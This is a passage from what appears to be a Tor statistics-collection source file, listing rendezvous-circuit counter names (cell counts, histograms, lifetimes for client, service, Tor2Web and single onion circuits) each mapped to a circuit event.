'Rend2MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3CircuitCount' : { CIRCUIT_EVENT },
'Rend3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3CircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3FailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
